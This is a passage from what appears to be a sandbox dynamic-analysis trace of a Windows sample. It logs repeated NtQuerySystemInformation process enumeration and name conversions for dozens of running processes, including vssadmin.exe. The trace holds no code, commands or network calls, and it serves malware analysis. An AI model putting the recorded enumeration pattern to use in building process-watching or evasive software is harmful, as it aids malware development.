BaseAddress=0x3161e08) returned 1 [0058.814] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="RuntimeBroker.exe", AllocateDestinationString=1 | out: DestinationString="RuntimeBroker.exe") returned 0x0 [0058.814] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x12) returned 0x3171310 [0058.814] RtlFreeAnsiString (AnsiString="RuntimeBroker.exe") [0058.814] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171310) returned 1 [0058.814] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="WmiPrvSE.exe", AllocateDestinationString=1 | out: DestinationString="WmiPrvSE.exe") returned 0x0 [0058.814] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dc0 [0058.814] RtlFreeAnsiString (AnsiString="WmiPrvSE.exe") [0058.814] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0058.814] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0058.814] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161da8 [0058.814] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0058.814] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0058.814] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UsoClient.exe", AllocateDestinationString=1 | out: DestinationString="UsoClient.exe") returned 0x0 [0058.814] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161dd8 [0058.814] RtlFreeAnsiString (AnsiString="UsoClient.exe") [0058.814] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0058.814] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0058.814] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e08 [0058.814] RtlFreeAnsiString (AnsiString="msoia.exe") [0058.814] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.814] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="taskhostw.exe", AllocateDestinationString=1 | out: DestinationString="taskhostw.exe") returned 0x0 [0058.815] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e68 [0058.815] RtlFreeAnsiString (AnsiString="taskhostw.exe") [0058.815] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0058.815] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="DeviceCensus.exe", AllocateDestinationString=1 | out: DestinationString="DeviceCensus.exe") returned 0x0 [0058.815] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x31713d0 [0058.815] RtlFreeAnsiString (AnsiString="DeviceCensus.exe") [0058.815] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31713d0) returned 1 [0058.815] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="UNPCampaignManager.exe", AllocateDestinationString=1 | out: DestinationString="UNPCampaignManager.exe") returned 0x0 [0058.815] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x17) returned 0x31713d0 [0058.815] RtlFreeAnsiString (AnsiString="UNPCampaignManager.exe") [0058.815] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31713d0) returned 1 [0058.815] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="msoia.exe", AllocateDestinationString=1 | out: DestinationString="msoia.exe") returned 0x0 [0058.815] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161dd8 [0058.815] RtlFreeAnsiString (AnsiString="msoia.exe") [0058.815] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dd8) returned 1 [0058.815] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="AppHostRegistrationVerifier.exe", AllocateDestinationString=1 | out: DestinationString="AppHostRegistrationVerifier.exe") returned 0x0 [0058.815] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x20) returned 0x31688a8 [0058.815] RtlFreeAnsiString (AnsiString="AppHostRegistrationVerifier.exe") [0058.815] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31688a8) returned 1 [0058.815] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="screensaver.exe", AllocateDestinationString=1 | out: DestinationString="screensaver.exe") returned 0x0 [0058.815] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x10) returned 0x3161dc0 [0058.815] RtlFreeAnsiString (AnsiString="screensaver.exe") [0058.815] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0058.815] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="empty-suite-xml.exe", AllocateDestinationString=1 | out: DestinationString="empty-suite-xml.exe") returned 0x0 [0058.816] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171510 [0058.816] RtlFreeAnsiString (AnsiString="empty-suite-xml.exe") [0058.816] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171510) returned 1 [0058.816] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="religion-decorating-survivors.exe", AllocateDestinationString=1 | out: DestinationString="religion-decorating-survivors.exe") returned 0x0 [0058.816] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x22) returned 0x31624a0 [0058.816] RtlFreeAnsiString (AnsiString="religion-decorating-survivors.exe") [0058.816] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x31624a0) returned 1 [0058.816] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="surveillance.exe", AllocateDestinationString=1 | out: DestinationString="surveillance.exe") returned 0x0 [0058.816] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x11) returned 0x3171330 [0058.816] RtlFreeAnsiString (AnsiString="surveillance.exe") [0058.816] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0058.816] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="legends.exe", AllocateDestinationString=1 | out: DestinationString="legends.exe") returned 0x0 [0058.816] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0058.816] RtlFreeAnsiString (AnsiString="legends.exe") [0058.816] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.816] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="miniature.exe", AllocateDestinationString=1 | out: DestinationString="miniature.exe") returned 0x0 [0058.816] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161e38 [0058.816] RtlFreeAnsiString (AnsiString="miniature.exe") [0058.816] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0058.816] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="spies.exe", AllocateDestinationString=1 | out: DestinationString="spies.exe") returned 0x0 [0058.816] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e08 [0058.816] RtlFreeAnsiString (AnsiString="spies.exe") [0058.816] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.816] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dame_looked_pearl.exe", AllocateDestinationString=1 | out: DestinationString="dame_looked_pearl.exe") returned 0x0 [0058.817] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171330 [0058.817] RtlFreeAnsiString (AnsiString="dame_looked_pearl.exe") [0058.817] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0058.817] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="allied.exe", AllocateDestinationString=1 | out: DestinationString="allied.exe") returned 0x0 [0058.817] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xb) returned 0x3161e08 [0058.817] RtlFreeAnsiString (AnsiString="allied.exe") [0058.817] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.817] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="geo.exe", AllocateDestinationString=1 | out: DestinationString="geo.exe") returned 0x0 [0058.817] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x8) returned 0x3175ba8 [0058.817] RtlFreeAnsiString (AnsiString="geo.exe") [0058.817] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175ba8) returned 1 [0058.817] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="roman_disclosure.exe", AllocateDestinationString=1 | out: DestinationString="roman_disclosure.exe") returned 0x0 [0058.817] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171330 [0058.817] RtlFreeAnsiString (AnsiString="roman_disclosure.exe") [0058.817] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0058.817] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="scuba elementary.exe", AllocateDestinationString=1 | out: DestinationString="scuba elementary.exe") returned 0x0 [0058.817] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x15) returned 0x3171330 [0058.817] RtlFreeAnsiString (AnsiString="scuba elementary.exe") [0058.817] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0058.817] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="attacks_according.exe", AllocateDestinationString=1 | out: DestinationString="attacks_according.exe") returned 0x0 [0058.817] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x16) returned 0x3171330 [0058.817] RtlFreeAnsiString (AnsiString="attacks_according.exe") [0058.817] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171330) returned 1 [0058.818] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dupleased.exe", AllocateDestinationString=1 | out: DestinationString="dupleased.exe") returned 0x0 [0058.818] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xe) returned 0x3161da8 [0058.818] RtlFreeAnsiString (AnsiString="dupleased.exe") [0058.818] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0058.818] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="basin.exe", AllocateDestinationString=1 | out: DestinationString="basin.exe") returned 0x0 [0058.818] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e68 [0058.818] RtlFreeAnsiString (AnsiString="basin.exe") [0058.818] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0058.818] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="pubemissiondetermine.exe", AllocateDestinationString=1 | out: DestinationString="pubemissiondetermine.exe") returned 0x0 [0058.818] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x19) returned 0x3168948 [0058.818] RtlFreeAnsiString (AnsiString="pubemissiondetermine.exe") [0058.818] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3168948) returned 1 [0058.818] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="dllhost.exe", AllocateDestinationString=1 | out: DestinationString="dllhost.exe") returned 0x0 [0058.818] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0058.818] RtlFreeAnsiString (AnsiString="dllhost.exe") [0058.818] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.818] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0058.818] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e08 [0058.818] RtlFreeAnsiString (AnsiString="conhost.exe") [0058.818] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.818] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0058.818] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e68 [0058.819] RtlFreeAnsiString (AnsiString="conhost.exe") [0058.819] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0058.819] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="svchost.exe", AllocateDestinationString=1 | out: DestinationString="svchost.exe") returned 0x0 [0058.819] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e50 [0058.819] RtlFreeAnsiString (AnsiString="svchost.exe") [0058.819] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0058.819] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="CompatTelRunner.exe", AllocateDestinationString=1 | out: DestinationString="CompatTelRunner.exe") returned 0x0 [0058.819] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x14) returned 0x3171430 [0058.819] RtlFreeAnsiString (AnsiString="CompatTelRunner.exe") [0058.819] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3171430) returned 1 [0058.819] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0058.819] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161dc0 [0058.819] RtlFreeAnsiString (AnsiString="conhost.exe") [0058.819] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0058.819] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0058.819] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dc0 [0058.819] RtlFreeAnsiString (AnsiString="explorer.exe") [0058.819] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161dc0) returned 1 [0058.819] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="explorer.exe", AllocateDestinationString=1 | out: DestinationString="explorer.exe") returned 0x0 [0058.819] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e08 [0058.819] RtlFreeAnsiString (AnsiString="explorer.exe") [0058.819] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e08) returned 1 [0058.819] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="vssadmin.exe", AllocateDestinationString=1 | out: DestinationString="vssadmin.exe") returned 0x0 [0058.819] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161da8 [0058.820] RtlFreeAnsiString (AnsiString="vssadmin.exe") [0058.820] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0058.820] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="conhost.exe", AllocateDestinationString=1 | out: DestinationString="conhost.exe") returned 0x0 [0058.820] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161da8 [0058.820] RtlFreeAnsiString (AnsiString="conhost.exe") [0058.820] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161da8) returned 1 [0058.820] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3177e48) returned 1 [0058.820] Sleep (dwMilliseconds=0x64) [0061.648] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x1024) returned 0x3177e48 [0061.648] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1024, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.649] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x2048) returned 0x3177e48 [0061.649] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x2048, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.650] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x306c) returned 0x3177e48 [0061.650] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x306c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.650] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x4090) returned 0x3177e48 [0061.650] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x4090, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.650] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x50b4) returned 0x3177e48 [0061.650] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x50b4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.651] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x60d8) returned 0x3177e48 [0061.651] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x60d8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.651] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x70fc) returned 0x3177e48 [0061.651] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x70fc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.651] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x8120) returned 0x3177e48 [0061.651] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x8120, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.651] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x9144) returned 0x3177e48 [0061.651] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x9144, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.652] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xa168) returned 0x3177e48 [0061.652] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xa168, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.652] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xb18c) returned 0x3177e48 [0061.652] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xb18c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.652] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xc1b0) returned 0x3177e48 [0061.652] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xc1b0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.652] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xd1d4) returned 0x3177e48 [0061.653] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xd1d4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.653] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xe1f8) returned 0x3177e48 [0061.653] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xe1f8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.653] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0xf21c) returned 0x3177e48 [0061.653] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0xf21c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.654] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x10240) returned 0x3177e48 [0061.654] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x10240, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.654] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x11264) returned 0x3177e48 [0061.654] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x11264, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.655] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x12288) returned 0x3177e48 [0061.655] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x12288, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.656] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x132ac) returned 0x3177e48 [0061.656] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x132ac, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.656] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x142d0) returned 0x3177e48 [0061.657] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x142d0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.657] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x152f4) returned 0x3177e48 [0061.657] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x152f4, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.657] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x16318) returned 0x3177e48 [0061.657] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x16318, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.658] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1733c) returned 0x3177e48 [0061.658] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1733c, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.658] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x18360) returned 0x3177e48 [0061.658] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x18360, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.659] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x19384) returned 0x3177e48 [0061.659] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x19384, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.659] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1a3a8) returned 0x3177e48 [0061.659] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1a3a8, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.659] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1b3cc) returned 0x3177e48 [0061.659] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1b3cc, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.660] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1c3f0) returned 0x3177e48 [0061.660] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1c3f0, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0xc0000004 [0061.660] RtlReAllocateHeap (Heap=0x3150000, Flags=0x8, Ptr=0x3177e48, Size=0x1d414) returned 0x3177e48 [0061.660] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x3177e48, Length=0x1d414, ResultLength=0x0 | out: SystemInformation=0x3177e48, ResultLength=0x0) returned 0x0 [0061.661] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="System", AllocateDestinationString=1 | out: DestinationString="System") returned 0x0 [0061.661] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x7) returned 0x3175c38 [0061.661] RtlFreeAnsiString (AnsiString="System") [0061.661] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3175c38) returned 1 [0061.661] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="smss.exe", AllocateDestinationString=1 | out: DestinationString="smss.exe") returned 0x0 [0061.662] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0x9) returned 0x3161e68 [0061.662] RtlFreeAnsiString (AnsiString="smss.exe") [0061.662] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e68) returned 1 [0061.662] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0061.662] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e20 [0061.662] RtlFreeAnsiString (AnsiString="csrss.exe") [0061.662] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0061.662] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="wininit.exe", AllocateDestinationString=1 | out: DestinationString="wininit.exe") returned 0x0 [0061.662] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xc) returned 0x3161e38 [0061.662] RtlFreeAnsiString (AnsiString="wininit.exe") [0061.662] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e38) returned 1 [0061.662] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="csrss.exe", AllocateDestinationString=1 | out: DestinationString="csrss.exe") returned 0x0 [0061.662] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xa) returned 0x3161e20 [0061.662] RtlFreeAnsiString (AnsiString="csrss.exe") [0061.662] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e20) returned 1 [0061.662] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="winlogon.exe", AllocateDestinationString=1 | out: DestinationString="winlogon.exe") returned 0x0 [0061.662] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161e50 [0061.662] RtlFreeAnsiString (AnsiString="winlogon.exe") [0061.662] RtlFreeHeap (HeapHandle=0x3150000, Flags=0x0, BaseAddress=0x3161e50) returned 1 [0061.662] RtlUnicodeStringToAnsiString (in: DestinationString=0x4f3fa34, SourceString="services.exe", AllocateDestinationString=1 | out: DestinationString="services.exe") returned 0x0 [0061.662] RtlAllocateHeap (HeapHandle=0x3150000, Flags=0x8, Size=0xd) returned 0x3161dc0 [0061.662] RtlFreeAnsiString 